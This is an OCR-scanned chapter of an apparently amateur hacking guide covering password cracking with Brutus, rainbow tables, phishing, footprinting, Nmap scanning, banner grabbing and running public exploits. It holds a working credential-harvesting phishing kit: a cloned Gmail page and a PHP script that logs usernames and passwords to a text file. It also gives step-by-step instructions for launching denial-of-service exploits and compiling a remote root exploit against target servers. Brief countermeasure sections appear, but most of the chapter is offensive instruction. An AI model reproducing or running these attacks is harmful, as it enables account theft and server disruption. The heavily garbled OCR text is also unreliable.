[000153) 10/23/2008 17:01:09 P
[000155] 10/23/2008 17:07:03 PM
[000155) 1072342008 17:01:03 PM
[000154) 10/23/2008 17:01:03 PM
[000154) 10/23/2008 17:01:09 PM
[000147] 10/23/2008 17:07:15 PM
(000147 1042372008 17:01:15 PM
(000149) 1072372008 17:01:15 PM
[00014E) 1042342008 17:01:15 PM
(0001 4E) 10/23/2008 17:07:15 PM
[0007148] 10/23/2008 17:07:15 PM
[000148) 1042372008 17:07:15 PM
[000150) 1072372008 17:01:15 PM
[000150) 1042342008 17:07:15 PM
[000152) 10/23/2008 17:01:15 PM
[000152] 10/23/2008 17:07:15 PH
[000154) 1072372008 17:01:15 PM
[000154) 1042342008 17:07:15 PM
[000154) 10/23/2008 17:01:15 PM
[0007149] 10/23/2008 17:07:15 PH
[000151) 1042372008 17:01:15 PM
[000151) 1042372008 17:01:15 PM
[000153) 1042342008 17:01:15 PM

[000155] 10/23/2008 17:07:15 PM

P L S e L 4 e A L

T

- [riot logged in) (127.0.0.1]: 331 Pazsword reguired for admin
(0007 49) 10/23,/2008 17:01:09 PM - [

- (ot logged in) [127.0.0.17: 331 Pazsword required for admin
- [not logged in) [127.0.0.17: USER admin

- [riot logged in) (127.0.0.1]: 331 Password reguired for admin
- [rot logged in) (127.0.0.1] USER admin

- [riat laaged in) (12700017 331 Pazsward reguired for admin
- [hiot logged in) [127.0.0.17: USER admin

- [not logged in) [127.0.0.1]: 331 Pazswaord required for admin
- [rot logged in) (127.0.0.1]: USER admin

- [riot logged in) (127.0.0.1]: 331 Pazsword reguired for admin
- [hat lagged in) (127.0.0.1] USER admin

- (ot logged in) (127.0.0.17: 331 Pazsward required for admin
- [rot logged in) (127.0.0.1]: USER admin

- [riot logged in) (127.0.0.1]: 331 Pazsword reguired for admin
- [mot logged in) [127.0.0.1]: PASS =

- (ot logged in) [127.0.0.17= 530 Login or passward incorect!
- ot logged in) (127 0.0.13% PASS ===

- [t logged in) (127.0.0.1
- [riot logged in) (127.0.0.1]: 530 Login or pazaword incomrect!
- (ot logged in) [127.0.0.1]: PASS =

- (ot logged in) [127.0.0.17= 530 Login or passward incorect!
- [mot logged in) (127.0.0.1]: PASS ™

- [riot logged in) (127.0.0.1]: 530 Login or password incorect!
- [mot logged in) [127.0.0.1]: PASS ==

- (ot logged in) [127.0.0.1]: 530 Login or pazzward incorect]
- ot logged in) (127 0.0.1]: PASS ===

- [riot logged in) (127.0.0.1]: 530 Login or password incorect!
- [t logged in) (127.0.0.1]> disconnected.

- [riat lagged in) (12700017 520 Login ar pazsword incarract!
- (ot logged in) [127.0.0.1]: PASS =

- [not logged in) [127.0.0.17: 530 Login or passward incorrect!
- ot logged in) (127 0.0.1]: PASS mw==

(0001 53) 10/23,/2008 17: 0115 P - | [ ]

- [t logged in) [127.0.0.1]: PASS =

rot logged in) [127.0.0.1] USER admin

PG s

rot logged in) [127.0.0.1]: 530 Login or pazsword incorrect!

D ¢ Accaunt

=*000166 {nok logged in)
=_+000167 {nok logged in)
=_*+000168 {nok logged in)
=C+000169 {niok logged i)
=C+000170 {naok logged in)
=Z+000171 {nok logged in)
=Z+000172 {nok logged in)
=2*+000173 {nok logged in)
=C+000174 {niok logged i)
=C* 000175 {naok logged in)

IF  Transfer
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1
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11. In place of the IP address 127.0.0.1 would be the hackers IP address.

Footprints like these get a hacker caught and into a lot of trouble with
the law.

Brute-force Attacks

With time, brute-force attacks can crack any passwords. Brute-force attacks
try every possible combination of letters, numbers, and special characters until
the right password is found. Brute-force attacks can take a long time. The speed is
determined by the speed of the computer running the cracking program and the
complexity of the password. Below | will show you how Brutus can be used
against the same FTP server but this time using the brute-force option.

1. Putin the target and port the same way you did for the dictionary attack.
For the pass mode choose Brute-force and click range.

-

File Tools Help

Target |12?.D.D.1 Type |FTP - Start ‘ Stop ‘Clear‘

Connection Optiong

Part |21 Connections © | 10 Timeout © 10 I Usze Proxy

FTP Options

todify sequence [ Trytostay conmected for |Urlimite | attempts

Authentication Options

v Use Uzermame Iv Single Uszer Fass Mode |Blute FDICBj

UszerD |admin |

Pogitive duthentication Resultz

Target | Tupe | Il zername | Pazsword |

Located and installed 1 authentication plug-ing

0%

2. If you have an idea of what the password might be, then you can choose
the right option. For example if you know a site that requires your
password to be a certain length then you’ll know what to put down as a
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minimum length thus narrowing down the end results and shortening the
cracking process.

Brutus - Brute Force Generation =
" Digits anly Min Length (0 - |

Lowercase Alpha MaxLength |6 |

|Ippercaze Alpha
PR P k. | Cancel |

0
~
(" Mixed Alpha
~
~
~

Alphanumernic

Full K.evzpace

Custom Fange |etau:uinsrhldcumfpgw_l,ll:wk:-:iqﬂ 2345673301

3. I chose lowercase alpha which has the second smallest amount of
combinations. Even at second smallest it came up with 321, 272,407
possible password combinations. Now you know why it can take so long to
crack one password.

Located and insfalled 1 authentication plug-ins

| mitializing. ..

Target 127.0.0.1 verified

Brute force will generate 321272407 Passwords.

M aximurn number of authentication attermpts will be 321272407

Engaging target 127.0.0.1 with FTF

=
I

] |l admin Pb O attemnte ner second  Fatimated pnkoown duratinn remaining

Rainbow Tables

A Rainbow table is a huge pre-computed list of hash values for every
possible combination of characters. A password hash is a password that has gone
through a mathematical algorithm that transformed it into something absolutely
foreign. A hash is a one way encryption so once a password is hashed there is no
way to get the original string from the hashed string. A very common hashing
algorithm used as security to store passwords in website databases is MD5.

Let’s say you are registering for a website. You put in a username and
password. Now when you submit, your password goes through the MD5
algorithm and the outcome hash is stored in a database. Now since you can’t get
the password from the hash, you may be wondering how they know if your
password is right when you login. Well when you login and submit your username
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and password, a script takes your password and runs it through the md5
algorithm. The outcome hash is compared to the hash stored in the database. If
they are the same, you are admitted.

If | were to run the word “cheese” through the md5 algorithm, the
outcome would be feaOf1f6fede90bd0a925b4194deacll. Having huge tables of
every possible character combination hashed is a much better alternative to
brute-force cracking. Once the rainbow tables are created, cracking the password
is a hundred times faster than brute-forcing it. | will show an example of rainbow
table cracking when we get into Windows password cracking.

Phishing

Phishing is the process of stealing sensitive information, such as
usernames, passwords, and bank information, by pretending to be someone
you’re not. An example of this would be if you receive and e-mail from a hacker
pretending to be your bank. In this e-mail, it might tell you that you need to
update your account before it expires, and then the hacker provides a link. Once
you click on the link, you arrive at a website that looks exactly like your actual
bank page. In reality it’s just a perfect replica, and when you input your login
details, it sends it to the hackers email or stores it on his web server. Hackers that
create the best, most deceiving phishing web pages are knowledgeable in the
area of HTML and the PHP programming. Below | will show a simple example of
some of the steps a hacker might take to create a phishing website. By seeing the
steps a hacker would take, will help you defend against such an attack.

1. First the hacker chooses a target. The most popular targets for phishing
attacks are e-mail services such as Hotmail and Gmail because they are
the most common and once a hacker gets access to your e-mail, he also
gets access to a load of other user information for all the other websites
you use. In this example we will pretend the hacker chose Gmail as his
target.

2. After choosing his target, the hacker will go to the website and save the
whole main page. | use Mozilla Firefox ,(highly recommend using this
browser for its security and customization.) So | would go to
www.gmail.com and click File -> Save page as..., or simply hit <CTR> + S
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which does this automatically. Choose where you would like to save the
web page and hit Save.

5[=8 Edit \View History Delicious Bookmarks Tools  Help

e Window Chrl+H R |
il | ;
Mew Tab Ctrl+T E E 83 ‘htt':'s'”""ww'g”'jg'e'
Open Location...  Cerl+L
Open File. . Chrl+0
Close Chri+w Welcome to Gmail
Sawe Page As..
Send Link.... .
h to email.
Page Setup. ..
Print Preview rebmail, built on the idea that email can be
Print... Chrl+P
Import... ed messages out of your inbox with Goog
ork Offline
Exit 55
W Read =rman on your mobile phone by pointing your phc
(Saveks 2K
Savein | [ Gmail [Vl 'O ¥ = m-
A
My Recent
Documents
H?_‘%
Desktop
by Documents
__—-.\|1
i
My Computer
"‘:‘1 File name: Servicelogin [V] .
-
by Metwork Save as lype: ‘web Page, complste [v]

3. Once you have it saved, rename ServicelLogin.htm to index.htm. The
reason you want to name it “index” is so when you upload it to a web
host and someone goes to your link, the index page is the first page that
shows up.

4. Next the hacker would create a PHP script to do his dirty deed of
steeling your information. Below is a simple PHP script that logs and
stores your login details when you click “Sign in”. To see how it works,
copy and paste the following code into notepad. Next save it into the
same directory as you saved the Gmail page, and name it phish.php. In
addition to the phish.php page, create a new empty text file and name it
list.txt.
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<?php // This marks the beginning of the PHP script.

Header(“Location:
https://www.google.com/accounts/ServiceLogin?service=mail&passive=
true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F
%3Fui%3Dhtm|%262y%3DI&bsv=1k96igf4806cy&Itmpl=default&Itmplcac
he=2 “); // once you click “Sign in” in the fake website, this redirects
you to the real Gmail website, making the whole process look more
legit.

Shandle = fopen(“list.txt”, “a”); // this tells the server to open the file
“list.txt” and get it ready for appending data. Which in this case is your
username and password.

Foreach(S_GET as Svariable => Svalue) {

fwrite(Shandle, Svariable);

fwrite(Shandle, “=");

fwrite(Shandle, Svalue);

fwrite(Shandle, “\r\n”);
} // This section simply assigns all the information going through
this form to a variable. This includes your username and password.
Fwrite(Shandle, “\r\n”); // This writes your details to the file “list.txt”
fclose(Shandle); // This simply closes the connection to the file
“list.txt”
exit;
?> // Marks the end of the PHP program.

So far you should see the following in your folder:

phish = lisk
PHP Filz == | TextDocumsnt
= Z KB = OKE

inde -
-'3 Firefo Docurment Servicelogin_files
16 KE

L
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5. Now the hacker would have to edit the main Gmail page to include his
PHP script. To see what the hacker would do, open up the main Gmail
page named index.htm with notepad.

6. Hit <CTR> +F, or go to Edit -> Find, type in action and hit “Find Next”.

TUML—n 12 AWy F

.gaiacle.wval { font—family: Arial, Helvetica, sans-serif;

fon

.ga

san .

+02] Find what. | actor ns—serif;
ar

%ga Direction  _serif;
ar

.ga [ Match case OUp ©Down | cerif;

fon

——r< sty les

<form id="gaia_loginform"

FERER="https : /www. google. comy/account s ServiceLoginauth?se oy

7. This will highlight the first occurrence of the word “action” in the script
and you should see the following:

<form id="gaia_loginform"

EEEE="https : A Awww. google. com/accounts /ServiceLoginauth?service=mail”

There are two “action” occurrences in the script so make sure you have
the right one by looking at the “form id” name above. Change the link
between action = “ “ to phish.php . This will make the form submit to
your PHP phish script instead of to Google. After the link you will see the
code:

method=" "

Change the word “POST” to “GET” so that it looks like method="GET".
What the GET method does is submit the information you type in
through the URL so that the PHP script can log it.

8. Save and close the file.

9. Next the hacker would upload the files up to a free webhost that
supports PHP. With a simple Google search you can come up with a
bunch that fall under this category.

10. Once all the files are uploaded, you must give writing permissions to the
“list.txt” file. Every hosting company should have a CHMOD option next
to each file. Select this option and change the file permission for
“list.txt” to 777. If you can’t figure out how to do this, ask people that
use the same host or simply Google something similar to:
“yourwebhostname chmod”.
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11. Once everything is up and ready to go, go to the link your host provided
you for your website and you should see the Gmail page replica. Type in
a username/password and click Sign in. This should have redirected you
to the real Gmail page.

12. Now go take a look at your list.txt file by going through your hosting file
manager or going to
http://www.yourwebhosturl.com/youraccount/list.txt. Although this is
the most common, the web host you use may provide a different
looking URL. Now if | put a username of “myusername” and a password

of “mypassword” then “list.txt” would now look like the following:

ltmpl=default

ltmp loache=2

continue=http:/ /mail.google. com/mail/ ?
service=mail

rm=false

Emai l=myuser name

Passwd=mypassword

rm3hown=1

signln=3ign in

asts=

As you can see if you fell for this the hacker would have your email and
password. Scary, eh?

Countermeasures

| will now show you all the countermeasures you should take to
protect yourself from all of the password cracking attacks talked about
in this chapter.

Social Engineering

To protect yourself from social engineering attacks like the one
discussed in this chapter you must learn to question the possible
attacker. If you get a phone call from someone, and you think that there
may be a chance that the person isn’t who he says he is, then ask him
some questions that he should be able to answer to establish his
legitimacy. Some professional social engineers study the company
before attacking, so they might know all the answers. That’s why, if you
still have some doubts, you should ask the head of whatever
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department the attacker is from to find out if he is legit. Better safe than
sorry.

Shoulder Surfing

When you type in your password make sure there is no one behind you
attempting to peak. If there is, turn around and drop kick him/her in the face. No
not really. Also, make sure you don’t keep any sticky notes laying around that
have your password or password hints on them.

Guessing

To prevent this attack from happening, never use a password like your birth
date, your mother’s maiden name, your pets name, your spouse’s name, or
anything that someone may be able to guess.

Dictionary Attacks

Dictionary attacks are very simple to prevent. Don’t use a password that is
in the dictionary. Some people may think that if they use a word from the
dictionary but replace most of the letters with a number, then they are safe. They
are not. There are 1337 speak dictionary’s out there too. Basically what 1337
speak is, is changing a word like “animal” to 4n1m41. For a secure password, |
would recommend using a phrase such as “doyoulikecheese?88”.

Brute-force Attacks

Brute-force attacks may be prevented by creating a very long password and
using many numbers and odd characters. The longer the password the longer it
takes for the hacker to crack your password. If after a few days the hacker hasn’t
been able to crack your password through a brute-force attack, then he is very
likely to just give up. Like | said in the dictionary attacks, creating a phrase for your
password is your best option for staying secure.
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Rainbow Tables

You can avoid rainbow table cracking by simply making your password
extremely long. Creating tables for passwords that are long takes a very long time
and a lot of resources. That is why there aren’t many of these tables available.

Phishing

Phishing attacks are very simple to avoid. When you are asked to put your
personal information into a website, look up into the URL bar. If for example you
are supposed to be on Gmail.com and in the URL bar it says something completely
different like gmail.randomsite.com, or gamilmail.com, then you know this is a
fake. When you are on the real Gmail website, the URL should begin with
www.google.com anything else is a fake.

More Programs

Now that you know what password cracking is, you might be interested in
learning some more of the popular cracking software | have listed below:

e Canand Abel
e John the Ripper
e THC Hydra
e SolarWinds
e RainbowCrack
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Chapter Five
Network Hacking
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Footprinting

Footprinting is the act of gathering information about a computer system
and the companies it belongs to. Footprinting is the first step hackers take in their
hacking process. Footprinting is important because to hack a system the hacker
must first know everything there is to know about it. Below | will give you
examples of the steps and services a hacker would use to get information from a
website.

1. First, a hacker would start gathering information on the targets website.
Things a hacker would look for are e-mails and names. This information
could come in handy if the hacker was planning to attempt a social
engineering attack against the company.

2. Next the hacker would get the IP address of the website. By going
tohttp://www.selfseo.com/find_ip_address_of a_website.php and
inserting the web site URL, it will spit out its IP address.

The IP address of google.com is 64.233.187.99

The IP address 64.233,187.99 is assighed to E ] United States

Enter URL: Ignngle.mm Get IP I

3. Next the hacker would Ping the server to see if it is up and running. There’s
no point in trying to hack an offline server. http://just-ping.com pings a
website from 34 different locations in the world. Insert the website name
or IP address and hit “Ping”. If all packets went through, then the server is

up.
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google . com T | |ping! |
B, yahoc-.cc-mJ—c-r GE5_94 734 13

ping: google.com

Santa Clara, T.5.4. Qkzay =¥ gd_& &7.0
Vancouwer, Canada Okasy 11.8 1z.4 137
New Tork, U.S5_A. Ok ayy 27.0 31.3 47 Z
Florida, U.S5_A. Okay 47 1 43_ 6 E4_3
Austinl, U.S_A. Okay 1407 141.3 147 .1
Austin, .S 4. Okay 3.6 73.8 T4
San Francisco, U.S5_ 4. Qkzay 97.1 k= 1004
Amsterdam?, Netherlands Oz ay 1E5_ 3 151.3 152.8
London, Tnited Eingdom Okay 8E_& =1 a7.9
Austerdam3, Netherlands Ok ay Sd_4 355 Q5.9
Chicago, U.S5_A. Okay El1_ZF 2.1 63.0
Amsterdam, MNetherlands Okay 1l04._7 106. & l08. &
Cologne, Germany Qkzay 1l0e._ 2 108 10539
Munchen, Germany Oz ay loo0_& 103._4 1057
Paris, France Okay Q5.0 7.1 14al1.0
Madrid, Spain Ok ayy 123.8 1z6.1 1z5.0
Stockholm, Sweden Okay 1377 135._0 Z00_5
Cagliari, Italy Okay 187.3 lgg. & lga._2
Copenhagen, Denmark Qkzay 11z & l1lz.2 11z.0
Antwerp, Belgium Oz ay 294 & 958 Q7.0
Erakow, Poland Ok ayy 195.1 19&.1 196,93
Nagano, Japan Ok ay 144 2 1450 146 4
Sydney, Australia Okay 1g0.7 lg8z_ & 187_5
Hong Kong, China Okay Zd9_3 ZE1.1 ZE4_ 3
Lille, France Ok ay 1434 1Ez.9 1lL52.9
Auckland, MHew Zealand Oz ay 182_4 133 & 2159
Melbourne, Australia Okay 229.0 £33.3 2429
Haifa, Israel Ok ay 1705 17z.1 173.1
Singapore, Singapore Okay Y zl6._8 217.0
Porto RAlegre, Brazil Okay £211.1 Z1z_E 214_5
Mumbai, India Ok ay ZEE. 1 ZEL. & Z66. 1
Zurich, Switzerland Oz ay 126.3 130.1 134._1
Johamnesburyg, South Africalkay 3573 3577 3583
Shanghai, China Packets lost (100%)

4. Next the hacker would do a Whois lookup on the company website. Go to
http://whois.domaintools.com and put in the target website. As you can
see this gives a HUGE amount of information about the company. You see
the company e-mails, address, names, when the domain was created, when
the domain expires, the domain name servers, and more!

5. A hacker can also take advantage of search engines to search sites for data.
For example, a hacker could search a website through Google by searching
“site:www.the-target-site.com” this will display every page that Google has
of the website. You could narrow down the number of results by adding a
specific word after. For example the hacker could search “site:www.the-
target-site.com email”. This search could list several emails that are
published on the website. Another search you could do in Google is
“inurl:robots.txt this would look for a page called robots.txt. If a site has the
file “robots.txt”, it displays all the directories and pages on the website that
they wish to keep anonymous from the search engine spiders. Occasionally
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you might come across some valuable information that was meant to be
kept private in this file.

Now that the basics of footprinting have been explained, we will
move on to port scanning.

Port Scanning

The point of port scanning a server is to detect its open ports the port’s
listening services. Once a hacker knows all the services running on your server, he
could search for possible vulnerabilities they may have and exploit them to take
control of your website. In the port scanning example we will use the most
popular port scanner: Nmap. The Nmap Security Scanner is available for both Mac
and Windows users: http://nmap.org/download.html . The example will be shown
using the Nmap GUI (Graphical User Interface). Otherwise known as Zenmap.

1. First the hacker would choose a target and place it in the target box. As you
can see the “Command:” section gets updated as well. This is what the
command would look like if you were running the CLI version.

< Zenmap ofimife 5

Scan  Tools  Profile  Help
D o B B s e
Mew Scan Command Wizard Save Scan Open Scan Report a bug Help

untitled_scanl X

Target: www.target-site.cum| | Profile: | Intense Scan i

Command: | nmap -T Aggressive - -v v, barget-site, com

2. Next the hacker would choose the “Profile:”, or in other words, the scan
type. A smart hacker would go with a quick and quiet scan. Full version
detection scans are very loud and could raise suspicion on the other end.
Stay away from those options because as you will see later on, there are
other ways to get that information.
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Inktense Scan %

Intense Scan

Operating Syskem Dekection
Cick, Full wersion Detection Scan
Cuick, Operating System detection
Cuick Scan

Cwick, Services version detection

Cuick and verbose scan

Regular Scan

3. A sample scan result may look like the following:

«  Port 4 Protocol 4 Skate + Service 4 Wersion
@ =z kcp opEn ssh

@ 24 kep opEn piv-rnail

@ 53 kcp open domain

@ =0 kcp open http

@ 111 kep opEn rpchind

@ 3306 kcp open mysdl

4. Asyou can see it found a few open ports and listed the services that are run
on them. Below | have a list of some of the most popular ports/services on
the internet.

20 FTP data (File Transfer Protocol)

21 FTP (File Transfer Protocol)

22 SSH (Secure Shell)

23 Telnet

25 SMTP (Send Mail Transfer Protocol)

43 whois

53 DNS (Domain Name Service)

68 DHCP (Dynamic Host Control Protocol)

80 HTTP (HyperText Transfer Protocol)

110 POP3 (Post Office Protocol, version 3)
137 NetBIOS-ns

138 NetBIOS-dgm

139 NetBIOS

143 IMAP (Internet Message Access Protocol)
161 SNMP (Simple Network Management Protocol)
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194 IRC (Internet Relay Chat)

220 IMAP3 (Internet Message Access Protocol 3)

443 SSL (Secure Socket Layer)

445 SMB (NetBIOS over TCP)

1352 Lotus Notes

1433 Microsoft SQL Server

1521 Oracle SQL

2049 NFS (Network File System)

3306 MYSQL

4000 ICQ

5800 VNC

5900 VNC

8080 HTTP

. Along with finding out what ports are running, the hacker needs to also find

out what operating system the server is running. There are always a lot of

operating system vulnerabilities out there to choose from. So by knowing

the operating system, the hacker’s chances of taking over the server go up.
As you can see, there is an option on Nmap to detect the operating

system, but this scan is very loud and easily detected so it is better to avoid

it if possible. A simple way to determine what the server is running is by

getting a 404 error page. You can get there by going to a page that doesn’t

exist. For example the hacker would put in

“www.targetsite.com/asdlfjasl.php” this page will most likely not exist and

bring him to the 404 page. On most sites the 404 error page displays the

server operating system along with its version. Many sites nowadays don’t

display this by putting up custom 404 pages so this may not always work.

. If you are planning on using the CLI version of Nmap, or want a more in
depth look at all the commands take a look at the Nmap manual:
http://nmap.org/book/man.html .

. Now that the hacker has got all the running services and open ports on the
targets system, he will now have to find out what versions the server is
running. This is where “Banner Grabbing” comes in.
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Banner Grabbing

Now that the hacker has a full list of services running on the target system,
to be able to exploit them, he has to first figure out what software and version
the service is. One way the hacker can get this information, is to telnet into
service port. In the example below, we will use command prompt on Windows
(Start -> Run -> Type “cmd” -> Enter). If you are on a Mac, you will be using the
terminal. Note: If you are using Windows Vista, then telnet is not installed by
default. You can install it by doing the following simple steps.

Click Start then select Control Panel.

Select Programs and Features.

Select Turn Windows features on or off.

Select the Telnet Client option and click OK.

A box will appear to confirm installation. The telnet command should now be
installed

O 0O O0O0OOo

1. First, the hacker would choose one of the open ports that were revealed in
the Nmap scan to continue with and attempt to exploit. Let’s say that when
the hacker scanned his target, he found the port 21 open. As you can see
on the chart above, port 21 is FTP. To find out what FTP software is running
he would use telnet by running the command:

v C:AWINDOWS\system32\cmd. exe

icrosoft Windows NP [Uersion 5.1.268@1
CC» Copuyright 1985-2881 Microsoft Corp.

:NDocuments and SettingssDavid M>telnet localhost 21_

As you can see above, | ran this against my computer (localhost). So a
hacker would insert a target URL in place of localhost.
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2. Next, it would connect to the target and display a banner telling the hacker
the software and its version as shown below. This is the information the
hacker needs to continue and begin searching for vulnerabilities for the
software discovered.

e+ Telnet localhost

?2A-FileZilla Server version B.9.27 heta
228—uritten by Tim Kosse (Tim.Kosszelgmx.de)
2280 Please visit http:/sourceforge.netsprojectssfilezillas

If the above method doesn’t work for you, then simply use Nmap’s full
version detection option to get the information.

Searching for Vulnerabilities

Now that the hacker has the name of the software being used and its
version number, he would take that information and search a couple vulnerability
databases for an exploit. If there’s an exploit available, he will run it against the
server and take complete control. If there isn’t any, he would move onto another
open port and try again on a different service.

Some of the most popular exploit databases are:
e MilwOrm
e SecurityFocus
e osvdb
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By searching “filezilla” on milwOrm, fortunately the hacker won’t find any
exploits for my current version of the FTP software. Now most people would
move on to another port to try and find another possible vulnerability, but this
doesn’t mean every hacker will. If a skillful hacker is determined, he may try to
locate a vulnerability in the current software version and develop an exploit for it.
In the hacker community, this new vulnerability would be called a “0-day”. 0-day
vulnerabilities are very valuable in the hacker community for a few reasons.

e No one knows about the vulnerability, so the hacker could
start hacking hundreds of websites before the vulnerability is
discovered and patched.

e The hacker could sell the vulnerability for thousands of dollars.

e Discovering vulnerabilities and creating an exploit for it shows
that the hacker is very skillful and raises his ranks in the hacker
community.

You might be wondering why 0-days are worth so much. It’s very simple. Ill
explain it with a simple equation.

Hacker + 0-Day + Company Servers = Bad Reputation = Loss of Money

Now before we get into the actual penetrations, | will discuss a couple of
the common type of attacks used against discovered vulnerabilities.

Denial-of-Service (DoS) — There are many types of DoS attacks, but they all have
one purpose: to make the target server unavailable for legitimate users. The most
common type of DoS attack is when the hacker sends a flood of information to
the target server causing it to use up all of its resources, and in return pushing it
offline, or causing it to deny requests from legitimate users trying to access it.

Buffer Overflow (BoF) — A buffer overflow happens when a program attempts to
store more data into a buffer, or a data storage area, then it was meant to hold.
Because the buffer was only meant to hold a certain amount of data, the extra
information overflows into other buffers causing them to be overwritten with
malicious code created by the hacker. Once this code is executed, the hacker can
receive full control of the server.
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If you search the MilwOrm exploit database, you will see that in many exploit
titles it reads local exploit or remote exploit. Below are their definitions:

Local Exploit — To run a local exploit, you must first have access and privileges on
the machine. Local exploits are usually used to escalate ones privileges to admin
or root. In other words, it allows an ordinary user to gain root privileges.

Remote Exploit — A remote exploit is pretty much the same thing as a local exploit
except that it isn’t run locally, but launched from anywhere across the internet.

A hacker usually has to use a combination of both remote and local exploits to
gain full control of a system. For example, the hacker may have been able to gain
regular privileges with a remote exploit attack, and then be able to escalate to
root privileges with the help of a local exploit.

Penetrating

So now you might be wondering: Once the hacker finds the right exploit,
how does he go about running it against the target and penetrating the server?
This will all be explained in this chapter.

As you search MilwOrm or any of the other couple exploit database websites
provided in this chapter, you will notice that the exploits are created in many
different types of programming languages. Below | will list a few of the most
common programming languages used, and how a hacker would compile and run
them against a server.

PHP

PHP exploits are very common. PHP exploit code usually starts with <?php
and ends in ?> . Let’s say the hacker wanted to do some temporary damage to a
server running FTP Server 0.9.20. If he was to search milwOrm he would come up
with the following DOS exploit: http://milwOrm.com/exploits/2901 and run it
against the server. Below are the steps the hacker would take.

1. First the hacker would need to install PHP onto his computer. WAMP
is a free web server that comes with PHP. If you are using a Mac then
you must install MAMP . Next, paste the PHP exploit into notepad or
any word processor and save it as “exploit.php”.
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You will have to know a little PHP to edit the target address. On line
13 of this exploit you will see:
Saddress = gethostbyname(‘192.168.1.3’); here you will have to edit
in the IP address of the target. Every exploit is different. Some you
have to know what to edit and some have runtime instructions. Save
this edited file into the PHP directory on your server that contains
the PHP executable file. In WAMP the directory would be
C:\wamp\bin\php\php5.2.5, of course the last directory version
number changes with newer versions.

2. Next open up the command prompt or terminal if you are using a
Mac, and go to the PHP directory by using the CD (change directory)
command followed by the directory location.

\WINDOWS\system32\cmd.exe

icrosoft Windows P [Uersion 5.1.26881
(C» Copyright 1985-2081 Microsoft Corp.

- 0| %

SDocuments and SettingssDavid M>cd C:wampshin“phpsphpb.2.5
Sswampshinsphpsphpb 2.5

3. Now it’s time to run the exploit. To run it simple type in “php
exploit.php” and hit enter. You should get a couple errors.

ssampshinsphpsphpS . 2.5php exploit.php

otice: Undefined variable: junk in C:>wamp~binsphpsphpb.2 . 5vexploit.php on line
i8

Fatal error: Call to undefined function socket_create() in C:swampshinsphpsphp5.
2.5%exploit.php on line 28

ssampshinsphpsphpS.2.5%
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4. When skilled hackers create exploits, they sometimes insert mistakes
or extra code so that script kiddies with no programming knowledge
wouldn’t be able to use them. The above is a simple example. If you
go to line 18 of this exploit, will see the line

Sjunk.="../../../sun-tzu/../../../sun-tzu/../../../sun-tzu”;

This line was inserted to throw off the script kiddies and by simply
removing it, the error will disappear. Just another reason why it’s
helpful to learn how to program.

Also every now and then you will receive other errors such as the
one the second picture shows above. These errors have to do with
the server configurations. Now as a hacker, you have to learn a lot on
your own. By going around asking simple questions like this all the
time will make you look bad and the most common response you will
receive: www.google.com . Google is your friend, so take advantage
of it! So starting now, begin to use Google, and if you are still stuck,
then you can ask help on community forums.

5. Once the errors are fixed and the program is running, a DoS attack
will be launched the target website up until you exit the command
screen. If the target server can’t handle much, you may be able to
see the affect of your exploit by going to the site and clicking around.
If it is working, the site will begin to lag and it’ll take a long time to
load pages. Eventually the server may go down completely.

Perl
Running Perl exploit scripts is just as easy as running PHP scripts.

. Download and install the appropriate version of ActivePerl.

. Next the hacker would find an exploit for vulnerability. In this example we
will use the following example: http://milwOrm.com/exploits/6581 for
WinFTP Server 2.3.0. This is also a Denial of Service (DoS) exploit.

. Edit the options like the target server and others as needed. Then save the
file as “exploit.pl”. As you can see Pearl exploits begin with
“I/usr/bin/perl”.
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4. Open CMD or Terminal and change into the directory with the exploit using
the CD (change directory command). Then run the exploit by typing:
“perl exploit.pl”. The attack has begun. Simple, eh?

= C:AWINDOWS\system32\cmd.exe - perl exploit. pl

icrosoft Windows XP [Version 5.1.2688]
G Cup%?ight 1985-2001 Microsoft Coep.

»Documents and Settings“David Micd Desktop

sDocuments and SettingssDavid MxDesktoprperl exploit.pl

Python

Python is also a common programming language used in creating exploits.
You can download python from http://www.python.org/download/. The steps to
running a Python exploit are just as easy as the ones for Perl. See if you can get
the exploit: http://milwOrm.com/exploits/3523 up and running. Hint: Python files
end with .py .

C/C++

C/C++ are the most popular programming languages used in developing
exploit code. Some C/C++ code can be compiled with any compiler and on any
operating system. There are also C/C++ scripts that are made to be compiled by a
particular compiler, or in a particular operating system. You can usually find this
information commented in the top of the script. Below is a list of the most
popular compilers for each operating system.
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Windows

e Microsoft Visual C++
e Borland C++
e Dev-C++

Mac
° MrC[MngQ

e Xcode
Linux

e GCC

Most C/C++ exploit code is made to be compiled in Linux. If you wish to run
one them but you’re only option is Windows, then you can use Cygwin .
Cygwin is a Linux-like environment that runs in Windows and acts as a Linux
emulation layer, allowing you to run Linux scripts in windows. Although many
Linux C/C++ exploit scripts will work with Cygwin, there are also many may
not. | will show you how you can use Cygwin right after | give you an example
of compiling and running a C/C++ script in Ubuntu Linux. If you aren’t already
using Linux, | would recommend following along using VirtualBox from the
Linux chapter.
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1. Open up Terminal.

{'}' Applications Places System @9 Live session user

E& Accessories 3 E Calculator

v} Games v Character Map
_42 Graphics » | A Dictionary
@ Internet v | &) Disk Usage Analyzer

-

IRI Manage Print Jobs

@ Office

ﬁ Sound & Video v "": Passwords and Encryption Keys

8l Take Screenshot
@ Add/Rermowve. ..

Terminal N

2. Go to http://milwOrm.com/exploits/269 and copy the remote root exploit.
3. Open up the VI editor in the terminal by typing in “vi” and hitting <Enter>.
You should see the following screen:

File Edit Wiew Terminal Tabs Help

= VIM - Vi IMproved

= version 7.1.138
= by Bram Moolenaar et al.
= Vim is open source and freely distributable

= Become a registered Vim user!
= type :help register<kEnter=  for information

= type :g<Enter> to exit
= type :help<Enter> or <Fl> for on-line help
= type :help version7<Enter=  for wversion info

= Running in Vi compatible mode
= type :set nocp<Enter= for vim defaults
= type :help cp-default<Enter> for info on this

4. To getinto typing mode type in | (Shift +1).
5. You are now in insert mode. Right click and paste in the exploit.
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6. The script should have pasted in. Now it’s time to save it. Hit the <ESC> key
and then type in “:wq exploit.c” . This quits and saves the document as
exploit.c.

7. Now type in the command: Is. This command lists all the files in the current
directory. You should see your newly made file in the list.

i ¥ LT ] LT
File Edit wWiew Terminal Tabs Help
ubuntu@ubuntu:-% vi e
ubuntu@ubuntu:~% 1s

Desktop Documents exploit.c Music Pictures Public Templates Videos
ubuntu@ubuntu:~%

8. Now we will compile the script using the GCC compiler, but before we
compile this script we need to first install a development package of all the
libraries and headers needed to compile C/C++ scripts. It’s a very easy
process. In the terminal type in the following command:

sudo apt-get install build-essential
